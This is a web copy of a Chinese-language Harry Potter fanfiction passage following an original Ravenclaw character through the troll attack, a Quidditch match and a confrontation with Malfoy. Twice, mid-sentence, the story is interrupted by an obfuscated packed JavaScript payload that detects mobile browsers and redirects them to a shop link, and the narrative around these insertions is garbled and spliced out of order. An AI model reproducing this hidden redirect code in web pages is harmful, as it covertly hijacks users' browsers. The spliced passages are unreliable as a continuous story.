魔药课上,斯内普教授看她的眼神越来越难以捉摸。有时他会在她处理材料时在她身后停留很久,沉默得让人发毛。有一次她制作一种简单的提神剂,药水熬出了完美的珍珠母光泽,斯内普俯身查看坩埚,苍白的手指在坩埚边缘轻轻敲了敲。 “……”他什么也没说,直起身,黑袍翻滚着走开了。但那天晚上,Eva在图书馆查资料时,平斯夫人递给她一本《东亚药用植物萃取精要》,说是“斯内普教授建议你参考的”。书很旧,但里面有些处理草药的手法,和她从小看爷爷做药时的习惯隐隐呼应。 最让Eva喜欢的其实是天文课。每周三午夜,他们爬上最高的天文塔,用黄铜望远镜观测星象。辛尼斯塔教授的声音很温柔,她指给他们看秋季星座:飞马座巨大的四边形,仙女座那团模糊的光斑,还有英仙座闪亮的“恶魔之星”。冷冽的空气灌满肺叶,呼出的白气在望远镜的目镜上凝成薄霜。Eva仰头看着那些千万年前的光芒,心里那股从小熟悉的、沉静的“炁”就会缓缓流转,仿佛在和星空共鸣。曼蒂总在她旁边,小声地对照星图做笔记,两人的肩膀在寒夜里轻轻挨着取暖。 至于哈利,她见到他的次数并不算多。他们不是一个学院,课表重合得有限。但每次在走廊遇见,或者在礼堂目光相接,他总会对她笑一笑,那笑容从一开始的腼腆,渐渐变得自然了些。Eva也会点点头,有时还会问一句“变形术作业做了吗”或者“魔药课的月长石粉你磨好了吗”。都是很平常的话,但哈利每次都会很认真地回答。罗恩有时候会在一旁挤眉弄眼,赫敏则会快速加入讨论,语速飞快地分享她查到的资料。 十月的最后一周,城堡里开始为万圣节忙碌起来。巨大南瓜被运进礼堂,家养小精灵们用魔法把它们雕成咧嘴笑的灯笼,里面漂浮着蜡烛。走廊里挂起了会动的蝙蝠装饰,扑棱着翅膀,发出吱吱的叫声。皮皮鬼变得格外活跃,到处扔水气球和绊脚索,费尔奇气得脸色发青,拖着洛丽丝夫人在城堡里四处巡逻。 万圣节前夕早上,Eva被一阵浓郁的香甜气味唤醒。那是从楼下飘上来的,烤南瓜馅饼的味道,混着糖霜和肉桂的香气。她起床时,发现丽莎正对着镜子,试图用魔法把头发变成诡异的绿色,结果咒语失误,把半边头发变成了亮橙色,正急得快哭出来。 “清理一新应该可以,”曼蒂睡眼惺忪地从帷幔后探头,“或者去问问弗立维教授。” 早餐时,礼堂的装饰已经全部完成。一千只蝙蝠在布满蛛网的天花板下盘旋飞舞,南瓜灯的眼睛里喷出橙色的烟雾。就连教师席后面挂的旗帜,也都换成了怪诞的南瓜和鬼魂图案。学生们兴奋地交谈着,讨论晚上的宴会。 “听说邓布利多预订了一支骷髅舞蹈团!”一个拉文克劳五年级学生信誓旦旦。 “我想吃那种会尖叫的糖,”罗恩的声音从格兰芬多长桌飘过来,他正眼巴巴地看着教师席,“弗雷德说去年有,含在嘴里会发出女鬼一样的叫声。” 赫敏在旁边不以为然地翻着书:“那只是蜂蜜公爵的‘女鬼嚎叫糖’,通过一个简单的扩音咒实现的……” 上午的课大家都心不在焉。魔咒课上,弗立维教授试图教他们“飘浮咒”的高级应用,让一根羽毛跳踢踏舞。结果羽毛要么纹丝不动,要么直接炸成一团绒絮。罗恩的羽毛倒是跳了几下,但那动作更像抽搐,惹得大家哄堂大笑。 变形术课上,麦格教授严厉地警告,如果谁在今天的练习中把老鼠变回茶杯时还留着尾巴,就必须课后留下来练习直到成功。结果纳威的老鼠变回茶杯后,杯柄还在不停地扭动,像条粉色的肉虫,麦格教授的脸黑得像坩埚底。 下午没有课。Eva和曼蒂、丽莎、帕德玛一起去了图书馆。她们要完成一篇关于月相变化对魔药影响的论文,下周一交。斯内普教授虽然没明说,但大家都知道他对这篇论文的要求绝不会低。 图书馆靠窗的位置被她们占了。Eva摊开羊皮纸,旁边摆着《魔法药剂与药水》《月亮魔力的周期性波动》,还有斯内普教授给的那本《东亚药用植物萃取精要》。她边查资料边做笔记,笔尖在羊皮纸上沙沙作响。曼蒂在查古代如尼文对草药命名的记载,丽莎和帕德玛在争论满月时采摘的喷嚏草到底有没有特殊效果。 时间过得很快。窗外的天色渐渐染上金红色时,平斯夫人开始提醒学生们图书馆要关闭了。 “快六点了,”曼蒂看了一眼手表,“晚宴七点开始,我们得回去换衣服。” 她们手忙脚乱地收拾东西。Eva把参考书和羊皮纸笔记塞进书包,又把爷爷给的绢帛笔记仔细放进内袋——这是她每天都会随身带的东西。匆忙间,她没注意自己把装着《东亚药用植物萃取精要》和那份刚完成的羊皮纸作业的书包,落在了椅子下面。 晚饭后,万圣节宴会开始了。礼堂里张灯结彩,活蝙蝠在餐桌间穿梭,骷髅乐队在角落里演奏着古怪却欢快的曲子。 Eva正小心地切着一块裹满糖霜的南瓜蛋糕,忽然听到格兰芬多长桌传来一阵骚动。她抬头,看见奇洛教授跌跌撞撞地冲进礼堂,脸上是货真价实的惊恐。 “巨怪——在地下教室里——以为你应该知道的!” 说完,他一头栽倒在地,晕了过去。 礼堂里瞬间爆发出尖叫。邓布利多教授举起魔杖,发出几次紫色的爆竹爆炸声。 “级长,”他声音沉稳,“立刻把各学院的学生领回宿舍!” 拉文克劳的队伍开始移动。Eva跟着人群往前走,脑子里忽然“嗡”的一声——书包!她把书包落在图书馆了!里面不仅有斯内普教授借的书,还有那份刚写完的论文…… 她急出一身冷汗。斯内普教授借的书要是丢了……而且那份论文她写了好几天。 “曼蒂,”她压低声音拉住旁边的室友,“我的书包落在图书馆了。斯内普教授的书在里面,还有作业……” 曼蒂脸色一白:“现在不能回去!” “我知道,”Eva咬着嘴唇,“但从四楼那条近路过去,两分钟就能到图书馆门口拿回来。巨怪在地下教室,我们在二楼……” “你疯了!”曼蒂瞪大眼睛,“麦格教授说了立刻回宿舍!” 队伍拐过一个弯,前方正好是通往四楼的岔路。Eva看着那条昏暗的走廊,又想起斯内普教授那张苍白的脸。他要是知道她把书弄丢了…… “我很快,”她下定决心,“就两分钟。你先回去,别等我。” “不行!”曼蒂一把抓住她的胳膊,“你要去,我跟你一起。两个人总比一个人安全。” “曼蒂……” “别说了,”曼蒂的声音在发抖,但很坚决,“快走,趁罗伯特没看见。” 她们闪进岔路,心跳得像打鼓。走廊里空无一人,只有墙壁上火把投下摇曳的光影。 图书馆的门紧闭着。Eva轻轻推了推,锁着。 “平斯夫人肯定锁门了,”曼蒂小声说,“我们回去吧。” “等等,”Eva趴到窗户上往里看——她的书包还在靠窗的椅子下面,深蓝色的布料在昏暗光线里隐约可见,“在那儿!我看到了!” 她试着用魔杖对着门锁:“阿拉霍洞开!” 咒语无效。门锁纹丝不动。 “一年级的开锁咒打不开图书馆的门,”曼蒂拉了拉她的袖子,“走吧,明天早上再来拿。” Eva不甘心地又看了一眼书包。斯内普教授那本《东亚药用植物萃取精要》就在里面,还有她写了三天的论文…… “好吧,”她叹了口气,“明天一早来。” 她们转身往回走。刚走到二楼和三楼之间的楼梯平台时,一阵压抑的抽泣声从楼上传来。 曼蒂停下脚步:“有人在哭?” 声音很轻,断断续续的,像是有人正努力忍着不哭出声,但实在忍不住了。 Eva犹豫了一下。巨怪在地下教室,她们在楼上,应该安全……但万一有人不知道巨怪的事,被困在哪里了呢? “去看看?”她小声问。 曼蒂点点头,虽然脸色还是有些白。 她们悄悄爬上三楼。哭声越来越清晰,是从女盥洗室方向传来的。转过拐角,眼前的景象让两人瞬间僵住了。 一个庞然大物站在走廊中央——巨怪,足足有十二英尺高,花岗岩灰色的皮肤疙疙瘩瘩的,手里拖着一根巨大的木棒。它正对着女盥洗室的门,用木棒笨拙地敲打着门板,发出“咚咚”的闷响。 盥洗室里传来惊恐的抽泣声。 “梅林啊……”曼蒂捂住嘴。 巨怪似乎被门内的声音刺激到了,它发出一声低吼,举起木棒就要砸门—— “嘿!看这里!”曼蒂突然大喊一声,声音尖得吓人。 她弯腰捡起一块掉落的石板碎片,用力扔向远处的墙壁。碎片“哐当”一声砸在石壁上,碎成几块。 巨怪迟钝地转过身,小眼睛在昏暗的光线中搜寻着。当它看到站在走廊另一端的两个女孩时,发出一声困惑的“呜?”,然后拖着木棒朝她们走来。 沉重的脚步声震得地板发颤,恶臭扑面而来。 “跑!”Eva拉着曼蒂转身就跑。 但她们刚跑出几步,另一阵脚步声从相反方向传来。哈利和罗恩冲了过来,魔杖举在手里,脸上毫无血色。 “把它引开!”哈利朝她们大喊,然后对着巨怪喊道:“嘿!丑陋的大块头!这边!” 巨怪被两边声音弄得更加困惑,它停在走廊中间,脑袋笨拙地左右转动。 这时,盥洗室的门开了一道缝。赫敏看到外面的情况,脸色更白了:“它要砸门了!” 巨怪似乎终于决定先解决眼前的麻烦——它转向哈利和罗恩,举起木棒。 罗恩举起魔杖,手在发抖:“羽加迪姆勒维奥萨!” 咒语歪歪扭扭地击中巨怪的木棒,木棒飘起来几英寸,然后落下,“咚”地砸在巨怪自己的脑袋上。巨怪摇晃了一下,发出愤怒的咆哮。 赫敏从盥洗室里冲了出来,声音尖利:“攻击它的腿!让它摔倒!” Eva抽出紫杉木魔杖。那股熟悉的热流涌上来,比平时更汹涌。巨怪正背对着她们,朝哈利和罗恩逼近——它的后脑勺毫无防备。 她想起弗立维教授上周示范过的“昏昏倒地”,虽然他们还没学,但咒语她记得——“Stupefy!” 不行,咒语不对。魔杖在手中发烫,那股热流在身体里横冲直撞。爷爷说过,当力量太强控制不住时,不要硬压,要引导…… Eva深吸一口气,集中精神。她让那股热流顺着手臂流下,同时试着调动体内那股平和的“炁”——像引导溪水一样,让两股力量在魔杖里交汇。 “速速禁锢!”她喊道——这是她唯一能想到的、可能让巨怪停下的咒语,虽然她只在书上读到过。 紫杉木魔杖的杖尖爆出一片暗红色的光芒,像一张发光的网,猛地扑向巨怪的后背。光芒在触碰到巨怪皮肤的瞬间炸开,没有困住它,却像一记重拳打在它背上。 巨怪庞大的身躯往前踉跄了一大步,“咚”地撞在对面的墙上,震落一片灰尘。它困惑地摇晃脑袋,好像不明白发生了什么。 就是这几秒钟。哈利已经冲了上去——他做了一件极其愚蠢又极其勇敢的事,跳起来扑到巨怪脖子上,把魔杖插进了它的鼻孔。 巨怪发出震耳欲聋的咆哮,疯狂地甩着头,想把哈利甩下去。 “昏昏倒地!”罗恩闭着眼睛大喊。 一道红光击中巨怪的天灵盖。巨怪眼珠向上一翻,木棒从手中滑落,“哐当”一声砸在地上。紧接着,那庞大的身躯轰然倒地,震得整个走廊都在颤抖。 死寂。只有粗重的喘息声。 五个孩子惊魂未定地看着地上小山一样的躯体。恶臭弥漫在空气中,混着灰尘的味道。 然后脚步声传来——急促的、愤怒的脚步声。 麦格教授冲在最前面,脸色白得吓人,嘴唇紧紧抿成一条线。斯内普教授跟在后面,黑袍翻滚得像蝙蝠的翅膀。奇洛教授在最后,几乎站不稳,扶着墙壁才能走路。 麦格教授的目光扫过现场——倒在地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她转向Eva和曼蒂:“拉文克劳扣二十分——因为你们不仅违反命令离开队伍,还试图使用未掌握的咒语对抗危险生物,将所有人置于更大的风险中。” 斯内普教授的嘴角又勾起那个满意的弧度。 “但是……”麦格教授顿了顿,目光扫过五个孩子苍白的脸,“我必须说,在同伴面临致命危险时没有独自逃跑,这需要一定的勇气。格兰芬多加二十分,为你们的团结。拉文克劳……”她看了Eva和曼蒂一眼,“加十分,为同样的理由。” “现在,”她的声音像敲响的钟声,不容置疑,“立刻回宿舍。我不想再听说任何学生今晚离开公共休息室。” 她们默默离开。在楼梯口分开时,赫敏低声对所有人说了“谢谢”。她的眼睛还是红的,但下巴抬得高高的。 哈利看着Eva,似乎想说什么,但罗恩拉了他一把:“走吧,哈利。我们得赶紧回去。” 回到拉文克劳塔楼,鹰形门环今晚的问题是:“什么东西最容易被恐惧吞噬?” “理智。”一个高年级学生疲倦地答道。 门开了。走进公共休息室时,几乎所有人都抬起头看她们。消息传得比飞路粉还快。 罗伯特·希利亚德立刻走了过来,脸色严肃得可怕:“Eva,曼蒂,我需要一个解释。立刻。” “我的书包落在图书馆了,”Eva低声说,不敢看级长的眼睛,“里面有斯内普教授借的书……还有周一要交的论文。我们去拿书包的路上听到有人在哭……” “然后你们遇到了巨怪。”罗伯特深吸一口气,像是在努力控制情绪,“梅林啊……你们俩没事吧?有没有受伤?” 曼蒂摇摇头,还在微微发抖。Eva感觉自己的腿也有点软,只好扶着旁边的椅子。 “先坐下,”罗伯特的声音缓和了一些,“把事情经过完整告诉我。” 她们坐在壁炉边的扶手椅上,断断续续地讲了经过。当说到曼蒂扔石板引开巨怪注意力、救了盥洗室里的人时,几个围过来的拉文克劳学生发出低低的惊叹。 “梅林的胡子,你真勇敢。”一个七年级女生对曼蒂说。 丽莎和帕德玛从女生宿舍楼梯上冲下来,手里抱着毯子和热饮。帕德玛把热可可塞进Eva手里,丽莎用毯子裹住曼蒂的肩膀。 “我们听说了,”丽莎小声说,“整个城堡都在传。说哈利·波特把魔杖插进了巨怪鼻孔,说有个拉文克劳用了没学过的咒语……” “是曼蒂先吸引巨怪注意的,”Eva捧着热可可,热气熏在她苍白的脸上,“她救了盥洗室里的人。” “我只是扔了块石头……”曼蒂小声说,但她的脸颊因为大家的注视而微微泛红。 “扔石头也需要勇气,”罗伯特严肃地说,但眼神里有一丝赞许,“不过下次——没有下次了,明白吗?任何情况下都不准违反教授的直接命令。今晚如果出什么事……” 他没说完,但所有人都明白他的意思。 壁炉里的火噼啪作响。温暖慢慢渗进身体,Eva才意识到自己有多冷。她看着杯中晃动的棕色液体,想起巨怪倒地的声音,想起斯内普教授说“扣十分”时冰冷的眼神,想起麦格教授严厉但公正的脸。 那天晚上,躺在四柱床上,她很久都没有睡着。袖口上还残留着一丝若有若无的臭味——巨怪的臭味。她起身把袍子脱下来,挂在椅背上。 月光透过高高的窗户洒进来,在地板上投下菱形的光斑。Eva摸向枕下的魔杖,紫杉木的杖身在月光下泛着幽暗的光泽。她又碰了碰手腕上的玉佩,温润的触感让人安心。 闭上眼睛,画面又涌上来:曼蒂大喊“嘿!看这里!”时发抖但坚决的声音,哈利扑向巨怪后背时瘦小的身影,赫敏站出来撒谎时下巴抬起的弧度。 还有她自己的魔杖——那股热流和“炁”交汇时的感觉。不像平时施咒时的顺畅,更像两股力量在碰撞、试探,最后勉强合作了一次。陌生又熟悉。 爷爷说过,力量是工具,不是主人。今晚她差点让工具带着走了。 窗外传来猫头鹰扑棱翅膀的声音。远处,霍格沃茨的城堡在月光下静静矗立,塔楼的尖顶指向星空。 Eva翻了个身,把脸埋进枕头。 明天一早得去图书馆拿书包。希望平斯夫人还没把它收走。 希望斯内普教授不会因为她把书带出图书馆而再扣分。 希望……她慢慢睡着了。梦里没有巨怪,只有爷爷坐在老宅的院子里磨墨。墨香淡淡的,飘在江南湿润的空气里。笔尖落在纸上,一笔一划,端正平稳。 水乡的船在河里摇啊摇,吱呀吱呀。 6. 石化的秘密与安静的怀疑 万圣节那晚的事,像颗小石子掉进黑湖里,咚的一声,然后波纹一圈圈荡开。城堡里的学生们聊了几天,也就慢慢淡了。 但对Eva来说,有些变化她能感觉到。 比如赫敏·格兰杰。那个总是昂着头、抱着厚书匆匆走过的女孩,现在经过拉文克劳长桌时,会特意放慢脚步,对她和曼蒂点点头——不是以前那种“我知道答案而你不知道”的点头,是真正的、带着感谢的点头。有一次在图书馆,Eva找《基础魔药材料处理指南》,赫敏正好在旁边,什么也没说,只是踮起脚从高处抽出一本更薄的《新手常见错误五十例》,轻轻放在她摊开的羊皮纸旁,然后快步走开了。 Eva翻开那本书,看到里面用整齐的字迹做了很多标注:“月长石粉要顺时针研磨三圈半”“喷嚏草汁液不能接触铜制器皿”……是赫敏的笔迹。她抬头想说谢谢,赫敏已经消失在书架后面了。 至于哈利,变化更安静些。早餐时,他朝拉文克劳长桌望过来的次数变多了。不是直勾勾地看,是那种装作看窗外的风景,目光扫过来,在她脸上停一下,又移开。有一次Eva正好对上他的眼睛,他愣了一下,耳朵有点红,赶紧低头喝南瓜汁。 而罗恩……Eva好几次在走廊听见他背后议论。 “……你说她到底怎么做到的?”一天魔药课后,Eva在收拾坩埚,听见罗恩在门外对哈利小声说,“万圣节那天,她对巨怪用的那个咒语——那可不是一年级的水平!我哥哥查理说,那种力度的禁锢咒至少要三年级才能掌握。” 哈利的声音模模糊糊的:“她好像……不太一样。” “不一样?我看是吓人!”罗恩压低声音,“你想啊,一个一年级新生,魔力那么强,还来自……那种地方。我妈妈说中国魔法界封闭得很,谁知道他们教什么。” “罗恩,”哈利的声音严肃了点,“她救了赫敏,也帮了我们。” “我知道,我知道,”罗恩咕哝,“就是……你不觉得有点怪吗?她总是安安静静的,但动起来的时候……” 后面的话听不清了,脚步声远去。 Eva把洗净的坩埚擦干,放进柜子。手指碰到魔杖时,那股温热感传来。她想起爷爷的话:力量是工具,不是标签。别人怎么贴标签,是他们的事。 真正让城堡热闹起来的,是魁地奇赛季。 就在万圣节后没几天,早餐桌上发生了一件大事。一只长长的包裹被送到哈利面前。哈利拆开时,眼睛瞪大了——里面是一把闪闪发亮的飞天扫帚,光滑的红木柄上烫着金色字样:光轮2000。 “谁送的?”罗恩羡慕地摸着扫帚柄。 “没有卡片。”哈利说,但脸上是掩不住的高兴。 麦格教授从教师席走过来,脸上带着罕见的温和表情。“考虑到你在飞行课上的表现,波特先生,以及格兰芬多球队急需一名找球手……”她顿了顿,“伍德队长和我都认为,你有资格拥有它。但要记住——不许在城堡里飞,训练必须在监督下进行。” 整个礼堂都轰动了。伍德激动得差点把南瓜汁打翻,而斯莱特林长桌那边,马尔福的脸拉得老长。 “我爸爸本来要给我买光轮2001的,”马尔福大声对克拉布和高尔说,但眼睛盯着哈利那边,“但我觉得2000够用了。毕竟……”他拖长声音,“有些人连把像样的扫帚都没有,要靠教授可怜。” 哈利没理他,只是小心地摸着扫帚柄,绿眼睛里闪着光。那是Eva第一次看到他那么纯粹的高兴。 十一月的第一个周末,格兰芬多对斯莱特林。早上Eva被楼下公共休息室的喧嚣吵醒。她穿好衣服下楼,发现几乎所有人都起来了,围在窗边往外看。 窗外天空是铅灰色的,云层低得好像要压到塔尖。风刮得很凶。 “天气糟透了,”罗伯特皱着眉头说,“这种能见度找金色飞贼简直是开玩笑。” 丽莎眼睛发亮:“但这是哈利·波特的第一场比赛!而且是光轮2000的首秀!” 早餐时,礼堂气氛像战场。格兰芬多长桌一片肃杀,伍德正在做最后的战术部署。哈利几乎没碰面前的盘子,只是不停地用袍子擦眼镜。 斯莱特林那边,马尔福故意提高音量:“我爸爸说了,光轮2000就是个过度宣传的产品。扫帚尾枝的平衡性有问题——飞着飞着说不定会散架。” 他说这话时,目光扫过格兰芬多长桌,特意在哈利身上停了停。然后,不知有意无意,他的视线又飘向拉文克劳这边,在Eva脸上停留了一瞬,嘴角挂起一个意味深长的笑。 Eva低下头,慢慢涂着果酱。她能感觉到那道目光,如芒刺在背。 天空越来越暗。学生们涌向球场时,豆大的雨点开始砸下来。风更大了。 Eva和拉文克劳的同学挤在看台高处。她裹紧斗篷,雨水还是流进脖子里,冰凉凉的。 比赛开始得惊心动魄。鬼飞球像炮弹一样穿梭,游走球疯狂横冲直撞。解说员李·乔丹的声音透过雨幕传来:“斯莱特林得分!10比0!哦——游走球差点把贝尔的后脑勺打飞!” Eva眯着眼睛找哈利。他飞得很高,在乌云和雨幕之间穿梭,像一只倔强的小黑点。 突然,哈利的扫帚猛地一抖。 不是风吹的。那抖动很不自然,像是扫帚自己发了疯。它开始在空中上下翻滚、扭动,想把哈利甩下去。哈利被颠得东倒西歪,只能用一只手死死抱住扫帚柄。 看台上响起惊呼。 “他在干什么?”罗恩的声音从格兰芬多看台传来。 “不是他在干!”赫敏尖叫,“是扫帚!扫帚不听使唤了!” Eva的心提了起来。她盯着哈利在空中挣扎。这么远,她能做什么? 她本能地望向教师席——雨幕和距离让那些面孔模糊不清,但姿态骗不了人。 奇洛教授几乎缩成一团,头巾歪斜,身体在明显地发抖,像片风中的叶子——是单纯的恐惧,还是别的什么让他如此失态? 而斯内普教授的轮廓像一尊凝固的雕像。身体以一个不自然的幅度前倾,视线如铁钩般锁定在空中挣扎的哈利身上。尽管看不清表情,但那紧绷的姿态,根本不像在观看比赛,更像在进行一场无声而激烈的对抗。 两个教授,两种完全不同的“可疑”。Eva的脑子飞快地转着:奇洛的慌张太明显,像是个蹩脚的演员;斯内普的阴沉则深不见底,你永远猜不透黑袍底下藏着什么。究竟是谁?或者……难道两个人都在施法,彼此对抗? 就在这时,Eva看见赫敏悄悄从格兰芬多看台溜了出来。她贴着墙壁移动,绕到教师席后方,从怀里掏出魔杖,蹲下身,杖尖对准了斯内普教授的长袍下摆。 “火焰熊熊!”赫敏低声念道。 一小簇火苗“噗”地蹿上斯内普的黑袍。火势不大,但足够让他惊跳起来,扑打着火苗。 几乎就在斯内普分神的同一瞬间—— 哈利的扫帚停止了疯狂扭动,恢复了平稳。他重新骑稳扫帚,大口喘着气。 Eva屏住呼吸。所以,恶咒的源头被打断了。赫敏选择了攻击斯内普,这意味着她也认为斯内普是施害者。但Eva心里那点疑虑没有完全消散——如果斯内普是在念破解咒呢?那赫敏的打断岂不是帮了倒忙?可哈利的扫帚确实稳住了……这混乱的逻辑像一团乱麻,她手里没有足够的线头去理清。 场上,哈利抹了把脸上的雨水,突然朝着地面猛冲下去——一个俯冲,速度快得像坠落的石头。所有人屏住呼吸。Eva看见他伸出一只手,在泥泞的草地上抓了一下,然后猛地拉起扫帚,高高举起拳头。 金色飞贼在他指缝间挣扎。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980622|193567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“他抓住了!”李·乔丹的声音炸响,“哈利·波特抓住了金色飞贼!格兰芬多赢了!” 格兰芬多看台爆发出震耳欲聋的欢呼。哈利被队友们簇拥着落地。 Eva轻轻吐了口气。她看见赫敏已经悄悄溜回座位,假装什么都没发生过。 回城堡的路上,学生们还在兴奋地议论。雨小了些,风依旧很冷。Eva走在拉文克劳队伍里,听见前面几个高年级学生在分析。 “波特那下俯冲时机抓得真好。” “但之前扫帚失控太诡异了。” 突然,一个拖着长腔的声音从旁边传来。 “哎哟,看看这是谁。” Eva抬头。德拉科·马尔福带着克拉布和高尔堵在走廊拐角处。他换了干净的袍子,但头发还是湿的,淡金色发梢贴在苍白的额头上。他抱着手臂,嘴角挂着那种讥诮的笑。 “拉文克劳小姐,”马尔福慢悠悠地说,眼睛上下打量着Eva,“今天在看台上看得可认真了。我注意到你的表情……很专注嘛。” 他身后的克拉布发出粗哑的笑声。 拉文克劳的队伍停了下来。罗伯特往前一步:“让开,马尔福。” “我只是好奇,”马尔福没动,眼睛盯着Eva,“万圣节逞英雄,今天又看得那么投入。你是不是特别关注我们‘大难不死的男孩’啊,张?”他顿了顿,声音压低了些,“还是说……你有什么‘特殊责任’,要确保他平安无事?” 走廊里安静下来。几个斯莱特林学生也凑了过来。 Eva看着他,没说话。爷爷说过,有些话像风,你越挡,它越往你衣服里钻。 “不说话?”马尔福挑了挑眉,“也是,毕竟你是‘特殊背景’嘛。我爸爸说,中国魔法部把你送来,是表示‘友好’。”他说“友好”两个字时,语气里的讽刺毫不掩饰,“不过我得提醒你,霍格沃茨有霍格沃茨的规矩。不是靠……在巨怪面前逞英雄就能站住脚的。” Eva感觉到旁边的曼蒂呼吸一紧。 “我只是做了该做的事,”Eva终于开口,声音很平静,“换了任何人都会这么做。” “是吗?”马尔福笑了,那笑容里没什么温度,“可我怎么听说,你当时用的那个咒语……不太像标准的一年级水平?”他往前凑了半步,声音压得更低,“所以,你们中国巫师,从小就教怎么对付巨怪?” Eva的脊背僵了一下。他在试探她,而且很仔细。 “课本上有写应对方法,”她说,“《魔法生物基础防御》第三章。” “哦,对,看书。”马尔福拖长声音,眼睛盯着她的脸,“所以你是……理论派?看书就能实战?” “马尔福,”罗伯特的声音冷了下来,“你再不让我们过去,我就去找弗立维教授了。” 马尔福耸耸肩,侧身让开一条缝。“当然,请便。”他做了个夸张的“请”的手势,眼睛却还盯着Eva,“好好享受你的高塔视野,张小姐。毕竟在高处……摔下来的时候更疼。” Eva没再看他,拉着曼蒂从他身边走过。 直到转过拐角,曼蒂才小声说:“他为什么要那样……” “不知道,”Eva说,“可能他觉得好玩。” 但心里清楚,不是好玩。马尔福在观察她,像猫在试探没见过的小动物。试探她的底线,试探她的秘密。 那天晚上的公共休息室格外温暖。壁炉里的火烧得很旺。Eva换了干衣服,坐在窗边,但没看书。 她想起今天看到的一切:哈利的扫帚失控,斯内普和奇洛都在念咒,赫敏悄悄放火……还有马尔福那双审视的眼睛。 这个世界比她想的复杂。表面上是魁地奇比赛,底下却藏着看不见的咒语和算计。 爷爷说,要看清中间的线。她现在连线的头绪都摸不到。 7. 隐秘的线 魁地奇比赛后的第二天是星期一。Eva起床时,雨停了,天空像块洗干净的灰布,湿漉漉地晾在那儿。 她走到窗边。黑湖的水面涨得更高了些,漫过了岸边几块平时露出来的石头。院子里,费尔奇正在清理被风吹断的树枝,动作气呼呼的,洛丽丝夫人在他脚边打转。 早餐时,礼堂里的气氛还有点兴奋。格兰芬多长桌那边不时爆发出笑声,伍德拍着哈利的肩膀,差点把他拍进燕麦粥里。斯莱特林那边则安静得多,马尔福坐在长桌中间,慢条斯理地涂着黄油,偶尔抬头朝拉文克劳这边瞥一眼。 Eva低头吃她的烤面包。昨晚她想了很久——不是想马尔福的话,是想那些看不见的线。 线头在哪呢? 上午第一节是变形术。麦格教授走进教室时,袍子带起一阵风。她先宣布了周末作业,一篇关于“变形咒中意志力的作用”的论文,至少八英寸羊皮纸。 “我希望看到的是分析,不是摘抄,”麦格教授严厉的目光扫过教室,“比如,上周某些同学在将火柴变针的过程中,为什么针尖会出现螺旋纹路?” Eva感觉脸有点热。她知道麦格教授在说她。上次那根带花纹的针。 “那是不自觉的魔力外溢,”麦格教授继续说,用魔杖轻轻敲了敲讲台,“魔力有‘倾向性’。有些人倾向于让变形物更坚固,有些人倾向于更灵活。但一年级的任务,是学会控制这种倾向,让变形严格按照预期完成。清楚了吗?” “清楚了,教授。”全班低声回答。 练习时间,Eva努力让她的茶杯变成最普通的老鼠。这次她格外小心,尽量压制着那股热流,只让它细细地流。茶杯长出灰色的毛,四条腿,细尾巴——成功了。但老鼠的尾巴尖上还是带着一圈极淡的螺旋纹路,不仔细看看不出来。 麦格教授走过来,俯身看了看。“好多了,张小姐。拉文克劳加三分。”她顿了顿,声音低了些,“但你看——痕迹还在。这说明你还没完全‘驯服’你的魔力。它不是敌人,但也不是野马。你需要成为骑手,而不是被它拖着跑。” Eva点点头。这话和爷爷说的很像。 下课铃响了。学生们收拾东西时,Eva听见赫敏在后面小声问哈利:“你昨晚真的没事吗?扫帚失控太可怕了。” “没事,”哈利说,但声音听起来不太确定,“就是……有点怪。” “肯定是斯内普搞的鬼,”罗恩凑过来,“你看见他念咒的样子了吗?眼睛都不眨一下!” “但我们没有证据。”赫敏说。 Eva背上书包,走出教室。走廊里人很多,她被挤到墙边。经过三楼拐角时,她看见奇洛教授正慌慌张张地从四楼方向跑下来,头巾歪得更厉害了,几乎遮住一只眼睛。他差点撞到迎面走来的斯内普教授。 “对、对不起,西弗勒斯……”奇洛结结巴巴地说。 斯内普停下脚步,黑眼睛盯着他:“这么着急要去哪儿,奇洛?” “没、没什么……只是……图书、图书馆……”奇洛的声音越来越小。 斯内普没说话,只是用那双深不见底的眼睛看了他几秒,然后侧身让开。奇洛像被赦免似的,匆匆逃走了。 Eva站在人群里,看着这一幕。两个教授——一个慌张得像被踩到尾巴的猫,一个阴沉得像井里的石头。到底谁在撒谎? 下午没课。Eva决定去图书馆。除了要查变形术论文的资料,她还想找点别的东西。 平斯夫人今天心情似乎不错,居然对她笑了笑。“找什么,亲爱的?” “关于……魔力倾向的书,”Eva说,“麦格教授今天提到了。” 平斯夫人点点头,指向右边第三排书架:“理论区。从‘M’打头开始找。” Eva在书架间慢慢走着。空气里有旧纸和灰尘的味道,混着木头书架淡淡的霉味。她找到了几本:《魔力的本质与流向》《意志在魔法中的角色》《东方与西方魔力理论的比较》——最后这本书很薄,封面是深蓝色的,边角都磨破了。出版日期是几十年前。她抽出它时有点意外,霍格沃茨的图书馆居然收录了这样的对比研究。 她抽出来,翻开第一页。 “……西方巫师普遍认为魔力是天赋,存在于血液中。而东方修行者,尤其是中国道家传统,更倾向于将魔力(或称‘炁’)视为可以后天培养、引导的‘生命能量’。两者并非互斥,而是同一力量的不同展现……” Eva停下来,认真看。书上有很多复杂的图表,画着能量在身体里流转的路线。有些图很像爷爷笔记里的简笔画。 她找了个靠窗的位置坐下。窗外的天空还是灰的,但云缝里漏下几缕细细的阳光,落在羊皮纸上。她边看边做笔记,把重要的地方抄下来。 不知过了多久,旁边有人轻轻放下书包。Eva抬起头——是赫敏。 “嗨,”赫敏小声说,在她对面坐下,“你在查变形术的资料吗?” “嗯。”Eva把书往旁边挪了挪。 